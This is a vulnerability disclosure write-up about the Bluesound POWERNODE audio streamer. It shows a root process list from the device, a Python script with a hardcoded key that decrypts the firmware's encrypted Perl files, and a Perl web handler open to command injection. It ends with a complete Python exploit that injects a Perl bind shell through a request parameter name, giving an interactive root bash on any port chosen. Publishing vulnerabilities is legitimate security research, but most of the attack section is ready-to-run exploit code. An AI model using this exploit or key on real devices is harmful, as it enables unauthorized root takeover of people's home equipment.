Bluesound POWERNODE

The Bluesound POWERNODE is a “Wireless Stereo Component”, which allows the user to stream to an older analogue sound system. It also includes an amp. I (sadly) happen to have such a device at home and decided to take a look at the firmware. The results were as expected.

Most of the product line appears to be vulnerable, since they run mostly the same software. I would also be surprised if this is the only vulnerability in the device.

Bluesound has been contacted.

Process list

From the web-interface the POWERNODE provides a really handy diagnostics view, which includes (among other things) a process list:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2   2080   560 ?        Ss   Dec05   0:00 init
root         2  0.0  0.0      0     0 ?        S    Dec05   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    Dec05   0:42 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    Dec05   0:48 [events/0]
root         5  0.0  0.0      0     0 ?        S    Dec05   0:00 [khelper]
root         8  0.0  0.0      0     0 ?        S    Dec05   0:00 [async/mgr]
root         9  0.0  0.0      0     0 ?        S    Dec05   0:00 [pm]
root        62  0.0  0.0      0     0 ?        S    Dec05   0:00 [usb_wakeup thre]
root        63  0.0  0.0      0     0 ?        S    Dec05   0:00 [usb_wakeup thre]
root       145  0.0  0.0      0     0 ?        S    Dec05   0:03 [sync_supers]
root       147  0.0  0.0      0     0 ?        S    Dec05   0:03 [bdi-default]
root       149  0.0  0.0      0     0 ?        S    Dec05   0:00 [kblockd/0]
root       156  0.0  0.0      0     0 ?        S    Dec05   0:00 [mxc_spi.0]
root       164  0.0  0.0      0     0 ?        S    Dec05   0:00 [otg_switch/0]
root       170  0.0  0.0      0     0 ?        S    Dec05   0:00 [khubd]
root       179  0.0  0.0      0     0 ?        S    Dec05   0:00 [kmmcd]
root       188  0.0  0.0      0     0 ?        S    Dec05   0:00 [pmic-event-thre]
root       250  0.0  0.0      0     0 ?        S    Dec05   0:00 [rpciod/0]
root       265  0.0  0.0      0     0 ?        S    Dec05   0:00 [kswapd0]
root       313  0.0  0.0      0     0 ?        S    Dec05   0:00 [aio/0]
root       325  0.0  0.0      0     0 ?        S    Dec05   0:00 [nfsiod]
root       331  0.0  0.0      0     0 ?        S<   Dec05   0:00 [kslowd000]
root       332  0.0  0.0      0     0 ?        S<   Dec05   0:00 [kslowd001]
root       338  0.0  0.0      0     0 ?        S    Dec05   0:00 [crypto/0]
root       978  0.0  0.0      0     0 ?        S    Dec05   0:00 [kconservative/0]
root       980  0.0  0.0      0     0 ?        S    Dec05   0:00 [hwevent]
root       982  0.0  0.0      0     0 ?        S    Dec05   0:00 [esdhc_wq/0]
root       985  0.0  0.0      0     0 ?        S    Dec05   2:00 [esdhc_wq/0]
root      1014  0.0  0.0      0     0 ?        S    Dec05   0:01 [mmcqd]
root      1022  0.0  0.0      0     0 ?        S    Dec05   0:00 [jbd2/mmcblk0p2-]
root      1023  0.0  0.0      0     0 ?        S    Dec05   0:00 [ext4-dio-unwrit]
root      1046  0.0  0.0      0     0 ?        S    Dec05   0:00 [jbd2/mmcblk0p3-]
root      1047  0.0  0.0      0     0 ?        S    Dec05   0:00 [ext4-dio-unwrit]
root      1051  0.0  0.2   2336   700 ?        Ss   Dec05   0:12 syslogd -C256
root      1054  0.0  0.2   1768   572 ?        S<s  Dec05   0:01 udevd --daemon
root      1919  0.0  0.1   2080   408 ?        Ss   Dec05   0:00 watchdog /dev/watchdog
root      1947  0.2  0.2   3716   716 ?        Sl   Dec05  29:57 sovi_hal
root      1975  0.0  0.1   2080   496 ?        Ss   Dec05   0:00 ifplugd -i eth0 -I -r /etc/ifplugd.action
root      1976  0.0  0.3   2272   996 ?        S    Dec05   0:00 /bin/bash /etc/ifplugd.action eth0 up
root      1979  0.0  0.2   2080   644 ?        S    Dec05   0:47 udhcpc -h Bedroom1 -i eth0 -p /var/run/udhcpc.eth0 -S
root      1986  0.0  0.2   2220   512 ?        Ss   Dec05   0:00 dropbear -r /var/data/etc/dropbear_rsa_host_key
root      2005  0.0  0.0      0     0 ?        S    Dec05   0:19 [events/0]
root      2006  0.0  0.0      0     0 ?        S    Dec05   0:00 [events_long/0]
root      2007  0.0  0.0      0     0 ?        S    Dec05   0:00 [events_nrt]
root      2011  0.0  0.0      0     0 ?        S    Dec05   0:00 [cfg80211]
root      2019  0.0  0.0      0     0 ?        S    Dec05   0:44 [ksdioirqd/mmc1]
root      2020  0.0  0.0      0     0 ?        S    Dec05   0:04 [cw1200_wq]
root      2021  0.0  0.0      0     0 ?        S    Dec05   2:12 [cw1200_bh]
root      2028  0.0  0.0      0     0 ?        S    Dec05   0:28 [phy0]
1000      2042  0.0  0.3   2684   912 ?        Ss   Dec05   0:00 dbus-daemon --system
daemon    2045  0.0  0.6   3272  1660 ?        S    Dec05   0:43 avahi-daemon: running [Bedroom1.local]
root      2046  0.0  0.5   3592  1288 ?        S    Dec05   0:00 avahi-browse-sovi
root      2049  0.0  0.3   2284  1016 ?        S    Dec05   7:56 /bin/bash /etc/rc.d/rc.sovi
root      2050  0.0  0.2   2084   604 ttymxc0  Ss+  Dec05   0:00 /sbin/getty -L ttymxc0 115200 vt100
root      2070  0.0  0.4   3692  1224 ?        Sl   Dec05   9:02 sovi-discover --sddp /tmp/sddp.conf
root      2072  0.0  0.4   2300  1052 ?        S    Dec05   0:01 /bin/bash /etc/rc.d/rc.stage0
root      2085  1.1  3.4  10592  8828 ?        S    Dec05 164:49 dspout -m 75
root      2087  0.0  4.0  14092 10408 ?        S    Dec05   4:42 perl ./automounter.pl -c /var/data
root      2088  0.0 13.5  39380 34464 ?        Sl   Dec05   4:11 perl ./ms.pl -d /var/data
root      2105  0.0  0.6   3980  1692 ?        S    Dec05   0:00 /usr/libexec/bluetooth/bluetoothd --noplugin=avrcp
root      2147  0.0  0.5   4572  1364 ?        Ss   Dec05   0:30 /usr/bin/wpa_supplicant -i wlan0 -c /var/data/wpa.conf -C /tmp -D nl80211 -B
root      2163  0.0  0.1   2080   476 ?        Ss   Dec05   0:00 /sbin/udhcpc -i wlan0 -S
root      2166  0.5  0.8   4040  2280 ?        S    Dec05  69:50 sovi-spotify -n Bedroom 1 -i 90:56:82:7f:26:dc -d /var/data -v N150 -b Bluesound -m POWERNODE
root      2167  0.0  1.4   9140  3780 ?        S    Dec05   0:00 sovi-bt --disable-aac
root      2168  0.2  9.7  31940 24812 ?        S    Dec05  39:59 perl ./cp.pl -c /var/data
root      2169  0.0  0.3   2392   972 ?        S    Dec05   0:00 avahi-publish -s Bedroom 1 _spotify-connect._tcp 80 CPath=/spotifyconnect VERSION=1.0
root      2204  0.0  0.5   3612  1304 ?        Ss   Dec05   1:34 ntpd -g -c /tmp/ntp.conf
root      2254  0.0  3.9  12876 10112 ?        Sl   Dec05   0:02 /usr/bin/perl /var/data/upgrade/stage0/stage0
root     10668  0.0  0.1   1948   380 ?        S    12:08   0:00 sleep 3600
root     13604  0.0  0.1   1948   380 ?        S    12:58   0:00 sleep 30
root     13646  0.0  0.3   2244   856 ?        R    12:59   0:00 ps axuw

Running Perl as root is usually a bad sign.

Perl obfuscation

“They also include additional security such as BluOS firmware being encrypted and locked down to prevent malicious attacks.” - Bluesound support forums

Indeed taking a look at the firmware you will find perl files like the one below:

use Filter::Crypto::Decrypt;
1b8c1db0d33f54236ec2ef560a93261bd5a3c6c0d724a5834543c201393a68c86c142e26e115e210810afcd59d
31de2d500fdf77b486ebdd96bd7fdbf901d1e0fd7f94ed2299950ea5137a440f7861a73861fcafcd7aaac6b477
856cfd74d5679a045ad7e6c17d9e119fdf1ef3e308aee092b106c4360e5e7ca92eee84528e79d0963f49396c46
7c1b1886ceca25a10589f4135253f3f71e8dc30628180d1b73d3bdbeaf6ec15dc58d28851fca86502b79bb6680
59da36fc15d65e955529cf54a5d74da3307d7f8b10b7e03cade60e6f9a0b54217410082cf8f28ce7888bcb6f7a
...

Below a script for decrypting the perl files (the same key is used on all devices and models):

#!/usr/bin/env python2

BLOCKSIZE = 16
KEYSIZE   = 32

PSWDSIZE  = 32
SALTLEN   = 8

pswd = 'CDCBCF6B3127E14C1504B39FA0A4AC68CD2C06CFA124A6FC185BC14FC4625088'
pswd = pswd.decode('hex')

import sys
import hashlib

with open(sys.argv[1], 'r') as f:
    data = f.read()

_, d = data.split('\n')
d = d.decode('hex')

# derive key

salt = d[:SALTLEN]
d = d[SALTLEN:]
key = hashlib.pbkdf2_hmac('sha1', pswd, salt, 2048, KEYSIZE)
print key.encode('hex')

# decrypt file

from Crypto.Cipher import AES

iv  = d[:BLOCKSIZE]
d = d[BLOCKSIZE:]
obj = AES.new(key, AES.MODE_CBC, iv)
print obj.decrypt(d)

Now lets take a look at the firmware.

Exploit

Finding this trivial exploit took about 3 minutes using “grep”. They love the always handy “system” function, unfortunately Bluesound are not big fans of sanitising the inputs. Below you see a textbook example of command injection:

'/enable' => sub {
	my ($httpd, $req) = @_;
	my $msg = '<html><body>Note: A reboot is required \
                   for any changes to fully take effect!<br>';

	foreach my $feature ($req->params()) {
		my $file = '/var/data/' . $feature . '_enable';
		my $enable = $req->parm($feature);

		if ($enable eq 'yes') {
			system("touch $file && sync");
		} elsif ($enable eq 'no') {
			system("rm $file && sync");
		}

		if (-f $file) {
			$msg .= "<br>$feature enabled";
		} else {
			$msg .= "<br>$feature disabled";
		}
	}

	$msg .= '<br><br><a href="/reboot">Reboot</a></body></html>';
	$req->respond ({ content => ['text/html', $msg]});
}

And a doit binding a root shell:

#!/usr/bin/env python2

import requests
import sys

addr = sys.argv[1]
port = int(sys.argv[2])

url = 'http://%s/enable' % addr

shell = 'use Socket;$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' % port
shell += 'bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);'
shell += 'close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");'
shell += 'exec("/bin/bash -i");};'

cmd = '$(perl -e \'%s\' &)' % shell

print 'bind to', addr, ':', port

requests.get(url, params={cmd:'yes'})

Just #LivingHifi